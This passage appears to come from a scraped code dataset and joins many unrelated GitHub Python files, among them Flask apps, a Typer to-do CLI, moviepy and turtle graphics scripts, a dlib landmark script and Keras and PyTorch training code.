request.dbsession.query(DictTable.table_name)\n .filter(DictTable.project_id == project)\n .filter(DictTable.form_id == form)\n .filter(DictTable.table_name == table.get(\"name\"))\n .count()\n )\n if res == 0:\n new_table_dict = {\n \"project_id\": project,\n \"form_id\": form,\n \"table_name\": table.get(\"name\"),\n \"table_desc\": table.get(\"desc\"),\n \"table_lkp\": lookup,\n \"table_inserttrigger\": table.get(\"inserttrigger\"),\n \"table_xmlcode\": table.get(\"xmlcode\"),\n }\n parent = table.getparent()\n if parent.tag == \"table\":\n new_table_dict[\"parent_project\"] = project\n new_table_dict[\"parent_form\"] = form\n new_table_dict[\"parent_table\"] = parent.get(\"name\")\n new_table = DictTable(**new_table_dict)\n try:\n request.dbsession.add(new_table)\n request.dbsession.flush()\n for field in table.getchildren():\n if field.tag == \"field\":\n res = (\n request.dbsession.query(DictField.field_name)\n .filter(DictField.project_id == project)\n .filter(DictField.form_id == form)\n .filter(DictField.table_name == table.get(\"name\"))\n .filter(DictField.field_name == field.get(\"name\"))\n .count()\n )\n if res == 0:\n new_field_dict = create_new_field_dict(table, field)\n new_field = DictField(**new_field_dict)\n try:\n request.dbsession.add(new_field)\n request.dbsession.flush()\n except IntegrityError:\n request.dbsession.rollback()\n log.error(\n \"Duplicated field {} in table {} in project {} form {}\".format(\n field.get(\"name\"),\n table.get(\"name\"),\n project,\n form,\n )\n )\n return False\n except IntegrityError:\n request.dbsession.rollback()\n log.error(\n \"Duplicated table {} in project {} form {}\".format(\n table.get(\"name\"), project, form\n )\n )\n return False\n else:\n for field in table.getchildren():\n if field.tag == \"field\":\n res = (\n request.dbsession.query(DictField.field_name)\n .filter(DictField.project_id == project)\n .filter(DictField.form_id == form)\n .filter(DictField.table_name == table.get(\"name\"))\n .filter(DictField.field_name == field.get(\"name\"))\n .count()\n )\n if res == 0:\n new_field_dict = create_new_field_dict(table, field)\n new_field = DictField(**new_field_dict)\n try:\n request.dbsession.add(new_field)\n request.dbsession.flush()\n except IntegrityError:\n request.dbsession.rollback()\n log.error(\n \"Duplicated field {} in table {} in project {} form {}\".format(\n field.get(\"name\"),\n table.get(\"name\"),\n project,\n form,\n )\n )\n return False\n return True\n\n create_file = get_form_xml_create_file(request, project, form)\n if not os.path.isfile(create_file):\n return False\n tree = etree.parse(create_file)\n root = tree.getroot()\n element_lkp_tables = root.find(\".//lkptables\")\n element_tables = root.find(\".//tables\")\n lkp_stored = store_tables(element_lkp_tables, 1)\n non_lkp_stored = store_tables(element_tables, 0)\n if lkp_stored and non_lkp_stored:\n return True\n else:\n return False\n","repo_name":"qlands/FormShare","sub_path":"formshare/processes/db/dictionary.py","file_name":"dictionary.py","file_ext":"py","file_size_in_byte":19873,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"53"} +{"seq_id":"18608079009","text":"import os\nimport requests\nfrom pytz import timezone\nfrom datetime import datetime as dt\nfrom flask import Flask, render_template, jsonify, request\nfrom TimeLapseDriver import TimeLapseDriver\nfrom threading import Thread\n\napp = Flask(__name__)\napi_string = 'https://rt.ambientweather.net/v1/devices?applicationKey=' + \\\n os.environ['AMBIENT_APPLICATION_KEY'] + \\\n '&apiKey=' + os.environ['AMBIENT_API_KEY']\n\ntime_lapse_driver = TimeLapseDriver()\n\n@app.route('/', methods=['GET', 'POST'])\ndef index_save_time_lapse():\n if request.form.get('save') == 'Save Time Lapse':\n Thread(target=time_lapse_driver.save_time_lapse).start()\n\n if request.form.get('update') == 'Update':\n try:\n int(request.form['frames'])\n except:\n pass\n\n time_lapse_driver.update_params(\n int(request.form['frames']),\n int(request.form['units']),\n int(request.form['fps']),\n int(request.form['retain'])\n )\n Thread(target=time_lapse_driver.regenerate_time_lapse_preview).start()\n\n return render_template('index.html')\n\n@app.route('/_update_wx_data', methods=['GET'])\ndef update_wx_data():\n resp = requests.get(api_string)\n if resp.status_code == 200:\n weather_data = resp.json()[0]['lastData']\n\n timestamp = dt.fromtimestamp(weather_data['dateutc'] // 1000)\n tz = timezone('America/Los_Angeles')\n timestamp = tz.localize(timestamp)\n formatted_timestamp = timestamp.strftime(\"%I:%M %p %Z\")\n weather_data['dateutc'] = formatted_timestamp\n\n return jsonify(weather_data)\n return {}\n\n\n@app.route('/_time_lapse_regenerating', methods=['GET'])\ndef time_lapse_regenerating():\n preview_filename, regenerating = time_lapse_driver.get_preview_file_and_regen()\n return jsonify(\n regenerating=regenerating,\n preview_filename=preview_filename\n )\n\n@app.route('/_get_time_lapse_params', methods=['GET'])\ndef get_time_lapse_params():\n return jsonify(\n num_frames=time_lapse_driver.num_frames,\n unit=time_lapse_driver.unit.value, \n fps=time_lapse_driver.fps,\n retain=time_lapse_driver.retain_frames\n )\n\n\nif __name__ == '__main__':\n Thread(target=time_lapse_driver.run).start()\n Thread(target=app.run, args=['0.0.0.0']).start()\n","repo_name":"torinv/shelby-wx","sub_path":"app/ShelbyWx.py","file_name":"ShelbyWx.py","file_ext":"py","file_size_in_byte":2319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"7710407504","text":"import sys\n\n\ndef function():\n if (len(sys.argv) != 2 or not sys.argv[1].isdigit()):\n print(\"ERROR\")\n return (0)\n n = int(sys.argv[1])\n if (n == 0):\n print(\"I'm Zero.\")\n return (0)\n if (n % 2 == 0):\n print(\"I'm Even.\")\n return (0)\n else:\n print(\"I'm Odd.\")\n return (0)\n\n\n# This conditional is used to check whether a python module is being run\n# directly or being imported\nif __name__ == '__main__':\n function()\n","repo_name":"anolivei/42-ai_bootcamp_python","sub_path":"day00/ex02/whois.py","file_name":"whois.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"1431471369","text":"import moviepy.editor as mpy\nfrom helper import numberInDigits\nfrom helper import removeAll\n\n\ndef getBaseClips():\n face_low = mpy.ImageClip('Data/Base Images/face low.png')\n face_mid = mpy.ImageClip('Data/Base Images/face mid.png')\n face_high = mpy.ImageClip('Data/Base Images/face high.png')\n hands_low = mpy.ImageClip('Data/Base Images/hands low.png')\n hands_mid = mpy.ImageClip('Data/Base Images/hands mid.png')\n hands_high = mpy.ImageClip('Data/Base Images/hands high.png')\n zoom_low = mpy.ImageClip('Data/Base Images/zoom low.png')\n zoom_mid = mpy.ImageClip('Data/Base Images/zoom mid.png')\n zoom_high = mpy.ImageClip('Data/Base Images/zoom high.png')\n return face_low, face_mid, face_high, hands_low, hands_mid, hands_high, zoom_low, zoom_mid, zoom_high\n\n\ndef getClipToDraw(value, allClips):\n face_low, face_mid, face_high, hands_low, hands_mid, hands_high, zoom_low, zoom_mid, zoom_high = allClips\n if value == \"face_low\":\n return face_low\n if value == \"face_mid\":\n return face_mid\n if value == \"face_high\":\n return face_high\n if value == \"hands_low\":\n return hands_low\n if value == \"hands_mid\":\n return hands_mid\n if value == \"hands_high\":\n return hands_high\n if value == \"zoom_low\":\n return zoom_low\n if value == \"zoom_mid\":\n return zoom_mid\n if value == \"zoom_high\":\n return zoom_high\n\n\ndef drawFrames(clip, start, count, fileName, numberOfDigits):\n for i in range(start, start+count):\n clip.save_frame(fileName+numberInDigits(i, numberOfDigits)+\".jpg\")\n\n\ndef createSequenceFiles(labels, classes, step, fps, folder):\n removeAll(folder)\n allClips = getBaseClips()\n\n fileName = folder + '/'\n\n framesToDraw = int(fps * step)\n\n totalFileCount = framesToDraw * len(labels)\n numDigits = len(str(totalFileCount))\n\n fileCount = 0\n print(\"FramestoDraw:\", framesToDraw, \"len:\", len(labels))\n\n for label in labels:\n className = classes[int(label)]\n\n clip = getClipToDraw(className, allClips)\n drawFrames(clip, fileCount, framesToDraw, fileName, numDigits)\n\n fileCount = fileCount + framesToDraw\n\n\ndef saveSequenceAsVideo(folder, fps, fileName, audio=\"\"):\n if audio != \"\":\n audioClip = mpy.AudioFileClip(audio)\n clip = mpy.ImageSequenceClip(folder, fps)\n if audioClip:\n clip = clip.set_audio(audioClip)\n clip.write_videofile(fileName, fps)\n","repo_name":"Projudah/VoiceAnimator","sub_path":"video.py","file_name":"video.py","file_ext":"py","file_size_in_byte":2452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"1167326883","text":"from venv import create\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\n\nimport lib.visualize as visualize\n\n# Fixing random state for reproducibility\nnp.random.seed(19680801)\n\n\ndef random_walk(num_steps, max_step=0.05):\n \"\"\"Return a 3D random walk as (num_steps, 3) array.\"\"\"\n start_pos = np.random.random(3)\n steps = np.random.uniform(-max_step, max_step, size=(num_steps, 3))\n walk = start_pos + np.cumsum(steps, axis=0)\n return walk\n\n\ndef update_lines(num, walks, lines):\n for line, walk in zip(lines, walks):\n # NOTE: there is no .set_data() for 3 dim data...\n line.set_data(walk[:num, :2].T)\n line.set_3d_properties(walk[:num, 2])\n return lines\n\n\nax = visualize.create_plt()\nvisualize.show_plt(False)\n\nfor i in range(100):\n visualize.anim_begin_update(ax)\n p = np.random.random(3) - 0.5\n ax.scatter([p[0]], [p[1]], [p[2]], c=(1, 0, 0), s=100)\n visualize.anim_end_update(ax)\n","repo_name":"furaga/multiview-3d-pose","sub_path":"test_anim.py","file_name":"test_anim.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"33919115119","text":"\nimport animales\n\n\nmenu = {\n '1': '1. Búho \\U0001F989 ',\n '2': '2. Delfín \\U0001F42C',\n '3': '3. Tortuga \\U0001F422',\n \"0\": '0. Salir',\n}\nprint('Bienvenido al juego de animales')\n\n\nclass Animal():\n def __init__(self, animal_type):\n self.animal_type = animal_type\n \n\n def mostrar_animal(self):\n animal_art = getattr(animales, self.animal_type)\n return animal_art\n\n\nif __name__== '__main__':\n for option in menu:\n print(menu.get(option))\n\n while True:\n user_input = input('Ingresa una opción: ')\n if user_input == '0':\n #salir\n print('Hasta pronto \\U0001F609')\n break\n elif user_input in menu:\n #imprimir\n menu_value = menu.get(user_input)\n menu_value.split(' ')\n #user_input = Animal()\n \n if user_input == '1':\n print(animales.buho)\n if user_input == '2':\n print(animales.delfin)\n if user_input == '3':\n print(animales.tortuga)\n #animal = Animal(buho.animal_type) \n #print(buho.mostrar_animal())\n #print('mostrar')\n else:\n #opcion invalida\n print('Lo siento, Opción no válida \\U0001F636')\n ","repo_name":"betancourtg/python_animales","sub_path":"animal.py","file_name":"animal.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"19653369929","text":"import numpy as np\nfrom satpy.enhancements import colorize as _colorize\nfrom satpy.enhancements import palettize as _palettize\n\nfrom polar2grid.add_colormap import parse_color_table_file\nfrom polar2grid.utils.config import get_polar2grid_home\n\n\ndef temperature_difference(img, min_stretch, max_stretch, **kwargs):\n \"\"\"Scale data linearly with a buffer on the edges for over limit data.\n\n Basic behavior is to put -10 to 10 range into 5 to 205 with clipped data\n set to 4 and 206.\n\n \"\"\"\n img.crude_stretch(min_stretch, max_stretch)\n # we assume uint8 images for legacy AWIPS comparisons\n offset = 1 / 255.0\n factor = (205.0 - 5.0) / 255.0\n img.data = img.data * factor\n img.data.data = np.clip(img.data.data, -offset, factor + offset) # 4 and 206 offset\n img.data = img.data + 5 * offset # lower bound of 5\n return img\n\n\ndef _parse_palettes_for_p2g_cmap(palettes: list):\n for palette in palettes:\n filename = palette.get(\"filename\", \"\")\n if not filename or (filename.endswith(\".npy\") or filename.endswith(\".npz\")):\n yield palette\n continue\n p2g_home = get_polar2grid_home()\n filename = filename.replace(\"$POLAR2GRID_HOME\", p2g_home)\n filename = filename.replace(\"$GEO2GRID_HOME\", p2g_home)\n colors = parse_color_table_file(filename)\n values = [color[0] for color in colors]\n colors = [color[1:] for color in colors]\n new_palette = {\n \"colors\": colors,\n \"values\": values,\n }\n yield new_palette\n\n\ndef colorize(img, **kwargs):\n kwargs[\"palettes\"] = list(_parse_palettes_for_p2g_cmap(kwargs[\"palettes\"]))\n return _colorize(img, **kwargs)\n\n\ndef palettize(img, **kwargs):\n kwargs[\"palettes\"] = list(_parse_palettes_for_p2g_cmap(kwargs[\"palettes\"]))\n return _palettize(img, **kwargs)\n","repo_name":"cloudsillusions/polar2grid","sub_path":"polar2grid/enhancements/shared.py","file_name":"shared.py","file_ext":"py","file_size_in_byte":1850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"} +{"seq_id":"3376828259","text":"\n\nimport sys\nimport re\nfrom optparse import OptionParser\n\nusage = \"usage: %prog [options]\"\nparser = OptionParser(usage=usage)\nparser.add_option(\"--column\", dest=\"column\",\n help=\"column\")\nparser.add_option(\"--pattern\", dest=\"pattern\",\n help=\"patten\")\n\ncolumn_idx = 1\nsearch_string = 'query'\noptions, args = parser.parse_args()\n\n\nfor line in sys.stdin.readlines():\n x = list(filter(lambda y: y != '', re.split('\\s+', line)))\n if x[int(options.column)] == options.pattern:\n sys.stdout.write(\"%s\\n\" % line.strip())\n\n\n# bq ls -j --max_results=1 | ./filter_csv.py --column=1 --pattern=query | awk '{print $1}' | while read -r line; do bq show --format=prettyjson -j \"$line\"; done\n#How to do the map on a stream in an efficient way?\n #using the cli? xargs, a while loop that turns it back into a stream? or using python that takes the cli command to call as a lambda?","repo_name":"jweibel22/python-scratchpad","sub_path":"src/util/filter_csv.py","file_name":"filter_csv.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"39175356335","text":"from pathlib import Path\nfrom typing import List, Optional\n\nimport typer\n\nfrom get_it_done import ERRORS, __app_name__, __version__, config, database, get_it_done\n\napp = typer.Typer()\n\n@app.command()\ndef init(\n db_path: str = typer.Option(\n str(database.DEFAULT_DB_FILE_PATH),\n \"--db-path\",\n \"-db\",\n prompt=\"get-it-done database location?\",\n ),\n) -> None:\n \"\"\"Init the database.\"\"\"\n app_init_error = config.init_app(db_path)\n if app_init_error:\n typer.secho(\n f'creating config file with \"{ERRORS[app_init_error]}\"',\n fg=typer.colors.RED,\n )\n raise typer.Exit(1)\n db_init_error = database.init_database(Path(db_path))\n if db_init_error:\n typer.secho(\n f'creating config file with \"{ERRORS[db_init_error]}\"',\n fg=typer.colors.RED,\n )\n raise typer.Exit(1)\n else:\n typer.secho(f\"database is {db_path}\", fg=typer.colors.GREEN)\n\n@app.command()\ndef add(\n description: List[str] = typer.Argument(...),\n priority: int = typer.Option(2, \"--priority\", \"-p\", min=1, max=3),\n) -> None:\n \"\"\"Add a new to-do with a description.\"\"\"\n todoer = get_todoer()\n todo, error = todoer.add(description, priority)\n if error:\n typer.secho(\n f'Adding to-do failed with\"{ERRORS[error]}\"', fg=typer.colors.RED\n )\n raise typer.Exit(1)\n else:\n typer.secho(\n f\"\"\"to-do: \"{todo['Description']}\" was added \"\"\"\n f\"\"\"with priority: {priority}\"\"\",\n fg=typer.colors.GREEN\n )\n\n@app.command(name=\"list\")\ndef list_items() -> None:\n \"\"\"List all items in db.\"\"\"\n todoer = get_todoer()\n todo_list = todoer.get_todo_list()\n if len(todo_list) == 0:\n typer.secho(\n 'No items found',\n fg=typer.colors.RED,\n )\n raise typer.Exit()\n typer.secho(\"\\nto-do list:\\n\",\n fg=typer.colors.BLUE, bold=True)\n columns = (\n \"ID. \",\n \"| Priority \",\n \"| Done \",\n \"| Description \",\n )\n headers = \"\".join(columns)\n typer.secho(headers, fg=typer.colors.GREEN, bold=True)\n typer.secho(\"-\" * len(headers), fg=typer.colors.GREEN)\n for id, todo in enumerate(todo_list, 1):\n desc, priority, done = todo.values()\n typer.secho(\n f\"{id}{(len(columns[0]) - len(str(id))) * ' '}\"\n f\"| ({priority}){(len(columns[1]) - len(str(priority)) - 4) * ' '}\"\n f\"| {done}{(len(columns[2]) - len(str(done)) - 2) * ' '}\"\n f\"| {desc}\",\n fg=typer.colors.GREEN,\n )\n typer.secho(\"-\" * len(headers) + \"\\n\", fg=typer.colors.GREEN)\n\n \ndef _version_callback(value: bool) -> None:\n \"\"\"Shows app version.\"\"\"\n if value:\n typer.echo(f\"{__app_name__} v{__version__}\")\n raise typer.Exit()\n\ndef get_todoer() -> get_it_done.Todoer:\n if config.CONFIG_FILE_PATH.exists():\n db_path = database.get_database_path(config.CONFIG_FILE_PATH)\n else:\n typer.secho(\n 'config file not found, run get-it-don init',\n fg=typer.colors.RED,\n )\n raise typer.Exit(1)\n if db_path.exists():\n return get_it_done.Todoer(db_path)\n else:\n typer.secho(\n \"DB not found, run get-it-don init \",\n fg=typer.colors.RED,\n )\n raise typer.Exit(1)\n\n@app.callback()\ndef main(\n version: Optional[bool] = typer.Option(\n None,\n \"--version\",\n \"--v\",\n help=\"Show the apps version\",\n callback=_version_callback,\n is_eager=True,\n )\n) -> None:\n return\n","repo_name":"SharleneNdinda/get-it-done","sub_path":"get_it_done/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":3636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"17081038703","text":"from flask import render_template\n\nfrom app import app\nfrom app.models.order import order\nfrom app.models.order_list import orders\n\n\n@app.route('/order')\ndef index():\n return render_template(\n 'base.html', \n title = \"Dildos 'r' us\", \n orders = orders\n )\n\n@app.route('/order/find-by-index/')\ndef find_by_index(index):\n for order in orders:\n if order[0] == index:\n return f\"{str(order.customer_name)} ordered {str(order.quantity)} of{str(order.item_name)} for personal reasons, on {str(order.order_date)}\"\n\n return \"User not found (try 1 or 2)\"\n\n return render_template(\n 'order.html',\n title = \"Dildos 'r' us\",\n orders = orders\n )\n\n@app.route('/order/find-by-name/')\ndef find_by_name(name):\n for order in orders:\n if order.customer_name == name:\n return f\"{str(order.customer_name)} ordered {str(order.quantity)} of {str(order.item_name)} for personal reasons, on {str(order.order_date)}\"\n\n return \"Keyboard not found (press any key to continue)\"\n\n return render_template(\n 'order.html',\n title = \"Dildos 'r' us\",\n orders = orders\n )\n","repo_name":"Codeonium/03W03D_Flask_lab","sub_path":"03_flask_lab_hw/app/controllers/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"74202142248","text":"\"\"\"\r\nN(카드 묶음 개수)\r\nplusPq(양수 우선순위 큐) minusPq(음수 우선순위 큐)\r\none(1의 개수 카운트) zero(0의 개수 카운트)\r\n\"\"\"\r\n\r\nfrom queue import PriorityQueue\r\nN = int(input())\r\nplusPq = PriorityQueue()\r\nminusPq = PriorityQueue()\r\none = 0\r\nzero = 0\r\nsum = 0\r\n\r\nfor _ in range(N):\r\n data = int(input())\r\n if data > 1:\r\n data *= -1\r\n plusPq.put(data)\r\n elif data < 0:\r\n minusPq.put(data)\r\n elif data == 0:\r\n zero += 1\r\n else:\r\n one += 1\r\n\r\nwhile plusPq.qsize() > 1:\r\n first = plusPq.get() * -1\r\n second = plusPq.get() * -1\r\n sum += first * second\r\n\r\nif plusPq.qsize() > 0:\r\n sum += plusPq.get() * -1\r\n\r\nwhile minusPq.qsize() > 1:\r\n first = minusPq.get()\r\n second = minusPq.get()\r\n sum += first * second\r\n\r\nif minusPq.qsize() > 0 and zero == 0:\r\n sum += minusPq.get()\r\n\r\nsum += one\r\nprint(sum)","repo_name":"gangdonguri/python-bootcamp","sub_path":"codingtest/034.py","file_name":"034.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"72909287208","text":"#Jonathan Mecham\n#A01854679\n#Comp Science 1400\n# Chessboard. Program takes inputs of location, length, and height and prints a chessboard.\n\n\n\nimport turtle\n\n# outline of board\ndef drawBoard (startX, startY, length, height):\n turtle.penup()\n turtle.goto (startX, startY)\n turtle.pendown()\n turtle.forward (length)\n turtle.left (90)\n turtle.forward (height)\n turtle.left (90)\n turtle. forward (length)\n turtle. left (90)\n turtle. forward (height)\n\n#draw rectangle\ndef drawRectangle(startX, startY, length, height):\n turtle.penup()\n turtle.goto(startX, startY)\n turtle.pendown()\n turtle.begin_fill()\n turtle.left(90)\n turtle.forward(length / 8)\n turtle.left(90)\n turtle.forward(height / 8)\n turtle.left(90)\n turtle.forward(length / 8)\n turtle.left(90)\n turtle.forward(height / 8)\n turtle.end_fill()\n\n#draws all the the rectangles on the board\ndef drawAllRectangles(startX, startY, length=250, height=250):\n leftRow = 0\n while leftRow <= 4:\n rectangle = 0\n startX, startY = startX, startY\n while rectangle <= 4:\n drawRectangle(startX, startY, length, height)\n rectangle += 1\n startX += (length / 8) * 2\n if rectangle == 4:\n leftRow += 1\n startY += (height / 8) * 2\n startX = (startX - startX)\n break\n if leftRow == 4:\n break\n rightRow = 0\n startY = startY - startY\n startX += length / 8\n startY += height / 8\n while rightRow <= 4:\n rectangle = 0\n while rectangle <= 4:\n drawRectangle(startX, startY, length, height)\n rectangle += 1\n startX += (length / 8) * 2\n if rectangle == 4:\n rightRow += 1\n startX = startX - startX\n startX += length / 8\n startY += (height / 8) * 2\n break\n if rightRow == 4:\n break\n\n#runs the whole program\ndef main():\n import turtle\n\n startX, startY = eval(input(\"Enter beggining (x,y) location:\"))\n length, height = eval(input (\"Enter the length and height (length,height):\"))\n\n if length == \"\" and height == \"\":\n drawBoard(startX, startY, length, height)\n elif height == \"\":\n drawBoard(startX, startY, length, height)\n elif length == \"\":\n drawBoard(startX, startY, length, height)\n else:\n drawBoard(startX, startY, length, height)\n\n drawAllRectangles(startX, startY, length, height)\n\n turtle.hideturtle ()\n turtle.done ()","repo_name":"jonsmec95/MechamJonathan-GameObjects","sub_path":"PycharmProjects/Mecham-Jonathan-Assn#9/chessboard.py","file_name":"chessboard.py","file_ext":"py","file_size_in_byte":2584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"69937351210","text":"import dlib\nimport cv2\nimport numpy as np\nimport math\n#import cvtest as f1\n\n\n\ndistance={}\n\ndef load_dataset(li):\n with open(\"train.txt\", \"a\") as f:\n for i in l:\n st=str(i)\n f.write(st)\n f.write(\",\")\n s=input(\"Enter the expression:\")\n if s==\"happy\":\n f.write(\"1\")\n f.write(\",T\\n\")\n elif s==\"neutral\":\n f.write(\"10\")\n f.write(\",T\\n\")\n elif s==\"sad\":\n f.write(\"0\")\n f.write(\",T\\n\")\n \n\ndef retrieve_data():\n data_array = np.array([[]])\n li=[]\n with open(\"train.txt\", \"r\") as file:\n data = file.readlines()\n for line in data:\n s=\"\"\n for i in line:\n if i>='0'or i<='9' or i=='.':\n if i!=',':\n s=s+i;\n if i==',' and i!='T':\n li.append(float(s))\n s=\"\"\n print(li[2278])\n data_array=np.append(data_array, li)\n #classifier(list li)\n print(len(li))\n li=[]\ndef distanceline(img,array_points):\n for i in range(68):\n x1,y1=array_points[i]\n for j in range(i+1,68):\n x2,y2=array_points[j]\n cv2.line(img,(x1,y1),(x2,y2),(0,0,255),1)\n distance[str(i)+\"->\"+str(j)]=euclidean_distance(x1,y1,x2,y2)\ndef euclidean_distance(x1,y1,x2,y2):\n return math.sqrt( (x1-x2)**2 + (y1-y2)**2 )\n\ndef plot(image,landmark): #passing img AS argument causing problem\n image_c = image.copy\n for point in landmark:\n pos = (point[0,0],point[0,1])\n print (pos)\n cv2.circle(image_c, pos, 3, color=(0, 255, 0))\n return image_c\n \ndetector = dlib.get_frontal_face_detector()\npredictor = dlib.shape_predictor(\"shape_predictor_68_face_landmarks.dat\")\nwin = dlib.image_window()\nimg =cv2.imread(\"testface.jpg\",-1)\nimage = img.copy()\nwin.set_image(img)\ndets = detector(img,1)\nfor k, d in enumerate(dets):\n shape = predictor(img,d)\n print(\"Part 0: {}, Part 1: {} part2 : {}\".format(shape.part(0),shape.part(1),shape.part(2)))\n mat = np.matrix([[p.x, p.y] for p in shape.parts()])\n \n win.add_overlay(shape)\n\nlist=[] \nfor point in mat:\n pos = (point[0,0],point[0,1])\n #print (pos)\n list.append(pos)\n cv2.circle(image, pos, 3, (0, 255, 0),-1) \nwin.add_overlay(dets)\ncv2.imshow(\"landmark\", image)\ndistanceline(image,list)\n\n\nl=[]\nfor i in range(68):\n for j in range(i+1,68):\n l.append(round(distance[str(i)+\"->\"+str(j)],2))\n\nload_dataset(l)\nretrieve_data()\n\n\n\ndlib.hit_enter_to_continue()\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\n","repo_name":"baarath9829/Emotion-Detection","sub_path":"EDetection.py","file_name":"EDetection.py","file_ext":"py","file_size_in_byte":2673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"525608449","text":"import math\n\ndef search(s, minimum, maximum):\n mi = minimum\n ma = maximum\n for c in s:\n if(c == 'L' or c == 'F'): \n ma = ma - math.floor((ma - mi)/2)\n else:\n mi = mi + math.ceil((ma - mi)/2)\n return mi\ndef findMySeat(a):\n a.sort()\n i = 1\n while(i < len(a) -1):\n if(a[i+1] != a[i]+1):\n # assuming there is only 1 open seat\n return a[i] + 1\n i = i + 1\nif __name__ == \"__main__\":\n with open('input.txt', 'r') as f:\n sids = []\n for l in f:\n r = l.strip()[:7]\n s = l.strip()[7:]\n row = search(r, 0 , 127)\n seat = search(s, 0, 7)\n sids.append(row * 8 + seat)\n print(f\"Max seat number is {max(sids)}\")\n print(f\"My seat is {findMySeat(sids)}\")\n\n \n ","repo_name":"mrgator85/AdventOfCode","sub_path":"2020/day5/day5.py","file_name":"day5.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"6534336773","text":"import tensorflow as tf\nfrom tensorflow import keras\n\n(X_train, y_train),(X_test, y_test) = keras.datasets.mnist.load_data()\n\nprint(X_train.shape)\nprint(X_test.shape)\n \nX_train = X_train.reshape([X_train.shape[0], 28, 28, 1])\nX_test = X_test.reshape([X_test.shape[0], 28, 28, 1])\nX_train = X_train/255.0\nX_test = X_test/255.0\n \ny_train = keras.utils.to_categorical(y_train)\ny_test = keras.utils.to_categorical(y_test)\n\nmodel = keras.Sequential([\n keras.layers.Conv2D(32, (5, 5), padding=\"same\", input_shape=[28, 28, 1]),\n keras.layers.MaxPool2D((2,2)),\n keras.layers.Conv2D(64, (5, 5), padding=\"same\"),\n keras.layers.MaxPool2D((2,2)),\n keras.layers.Flatten(),\n keras.layers.Dense(1024, activation='relu'),\n keras.layers.Dropout(0.2),\n keras.layers.Dense(10, activation='softmax')\n])\nmodel.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])\n\nmodel.fit(X_train, y_train, validation_data=(X_test, y_test), epochs=10)\ntest_loss,test_acc = model.evaluate(X_test, y_test)\nprint('Test accuracy:', test_acc)\n\nmodel.save(\"model.h5\")","repo_name":"shin-iji/digit-reg-tfjs","sub_path":"model/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"16680381968","text":"from __future__ import print_function\r\nimport argparse\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport torch.optim as optim\r\nimport torchvision\r\nfrom torchvision import datasets, transforms\r\nfrom torch.optim.lr_scheduler import StepLR\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.lines import Line2D\r\nfrom utils import progress_bar\r\nfrom models import *\r\n\r\n#This is a branch\r\nclass FakeReLU(torch.autograd.Function):\r\n @staticmethod\r\n def forward(ctx, x):\r\n ctx.save_for_backward(x)\r\n return x.clamp(min=0)\r\n @staticmethod\r\n def backward(ctx, grad_output):\r\n x, = ctx.saved_tensors\r\n grad_x = grad_output.clone()\r\n #grad_x[x < 0] = 0\r\n return grad_x\r\n\r\ndef plot_grad_flow(named_parameters, epoch, batch_idx, model, imageCounter):\r\n # Plots the gradients flowing through different layers in the net during training.\r\n # Can be used for checking for possible gradient vanishing / exploding problems.\r\n ave_grads = []\r\n layers = []\r\n for n, p in named_parameters:\r\n if(p.requires_grad) and (\"bias\" not in n):\r\n layers.append(n)\r\n ave_grads.append(p.grad.abs().mean())\r\n \r\n if imageCounter == 0:\r\n plt.hlines(0, 0, len(ave_grads)+1, linewidth=1, color=\"k\" )\r\n plt.xticks(range(0,len(ave_grads), 1), layers, rotation=\"vertical\")\r\n plt.xlim(xmin=0, xmax=len(ave_grads))\r\n plt.xlabel(\"Layers\")\r\n plt.ylabel(\"average gradient\")\r\n plt.title(\"Gradient flow\")\r\n plt.grid(True)\r\n\r\n line = plt.plot(ave_grads, alpha=0.3, color=\"r\")\r\n if imageCounter % 50 == 0:\r\n plt.savefig('epoch{}batch{}number{}.png'.format(epoch, batch_idx, imageCounter))\r\n plt.setp(line[0], color = 'black')\r\n imageCounter += 1\r\n return imageCounter\r\n\r\ncriterion = nn.CrossEntropyLoss()\r\n\r\ndef train(args, model, device, train_loader, optimizer, epoch):\r\n imageCounter = 0\r\n train_loss = 0\r\n correct = 0\r\n total = 0\r\n model.train()\r\n for batch_idx, (data, target) in enumerate(train_loader):\r\n data, target = data.to(device), target.to(device)\r\n optimizer.zero_grad()\r\n output = model(data)\r\n loss = criterion(output, target)\r\n loss.backward()\r\n #imageCounter = plot_grad_flow(model.named_parameters(), epoch, batch_idx, model, imageCounter)\r\n optimizer.step()\r\n\r\n train_loss += loss.item()\r\n _, predicted = output.max(1)\r\n total += target.size(0)\r\n correct += 